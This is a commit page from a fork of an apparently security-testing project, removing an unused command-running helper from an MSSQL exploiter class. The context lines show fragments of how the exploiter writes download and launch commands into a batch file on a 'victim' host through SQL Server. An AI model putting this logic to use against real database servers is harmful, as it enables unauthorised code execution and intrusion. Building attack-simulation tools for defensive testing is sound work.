forked from p15670423/monkey
Agent: Remove disused run_mssql_commands()
This commit is contained in:
parent
ff83f41b4a
commit
0e2a63b6ac
|
@ -115,12 +115,6 @@ class MSSQLExploiter(HostExploiter):
|
||||||
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
||||||
self._write_command_to_batch_file(agent_launch_command)
|
self._write_command_to_batch_file(agent_launch_command)
|
||||||
|
|
||||||
def run_mssql_commands(self, cmds):
|
|
||||||
for cmd in cmds:
|
|
||||||
logger.debug(f"Running command on SQL Server: {cmd}")
|
|
||||||
self.cursor.execute(cmd)
|
|
||||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
|
||||||
|
|
||||||
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
||||||
self._write_download_command_to_batch_file(monkey_path_on_victim)
|
self._write_download_command_to_batch_file(monkey_path_on_victim)
|
||||||
self.run_payload_file()
|
self.run_payload_file()
|
||||||
|
@ -150,7 +144,6 @@ class MSSQLExploiter(HostExploiter):
|
||||||
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
||||||
self._run_mssql_command(write_to_file_command)
|
self._run_mssql_command(write_to_file_command)
|
||||||
|
|
||||||
# Note: This is a strangler used to replace self.run_mssql_command()
|
|
||||||
def _run_mssql_command(self, command: str):
|
def _run_mssql_command(self, command: str):
|
||||||
logger.debug(f"Running command on SQL Server: {command}")
|
logger.debug(f"Running command on SQL Server: {command}")
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue